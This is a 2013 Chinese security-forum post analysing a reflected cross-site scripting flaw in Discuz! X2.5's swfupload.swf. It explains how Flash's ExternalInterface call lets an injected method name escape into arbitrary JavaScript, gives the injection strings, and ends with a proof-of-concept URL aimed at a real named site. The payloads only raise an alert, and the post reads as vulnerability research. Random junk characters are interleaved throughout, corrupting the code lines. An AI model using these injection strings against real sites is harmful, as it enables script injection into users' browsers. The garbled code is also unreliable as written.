找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1947|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说3 Y3 ^, u& ], i8 k. |

: ^. ]/ o/ i' d9 qflash.external.ExternalInterface.call($methodName, $parameter)
" ?! j" v( T( M在浏览器中执行的是
" b# c  G* K( z# N1 e8 c7 C- u
: h. d- p* b; j5 ]* ntry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}0 T5 d2 H! h& l% M8 b9 T$ d
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
7 @* Z% J. {$ L9 g
; G3 M$ z, G* i6 O# T! Pflash.external.ExternalInterface.call("object."+$methodName, $parameter)3 ^* `: n% |* m9 N0 c( v; g; B8 [5 j
$methodName = a())}catch(e){alert(/xss/)}//: e( |$ V. a" R
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
  U2 F! H% g$ D' V+ v4 w; k: k5 r5 s1 }0 m
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
* K( Q5 @+ s$ b9 P3 n% b& d2 i- X1 G  g& h2 t- b
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
' ?( r3 J& i& }+ X- u1 V杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
: R% s: ?1 |0 u) v2 `+ S' S8 m. l
/ \# c2 h" [2 I1 m
2 F+ p: G, g5 I/ D- Z* E# Y2 l- a
# B0 i( L! f6 j/ f. q' Q2 l# M漏洞文件:upload\static\image\common\swfupload.swf
/ m7 h9 q! x0 W2 L6 G
1 X& V3 W9 X- I# m: o原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf# P, t( `6 |4 \% l4 O4 X; u6 q
, h: S/ W# V1 y% Q: \% C) m
  o4 M5 l! h- [. @, j6 q) {3 V+ Z
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}/// B8 c8 ^  F! ~3 k- R2 I$ f: b
6 V9 ?* G! j* N% a9 ?

" f+ g% P6 }5 v7 |2 d4 j+ r2 _$ z0 L5 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表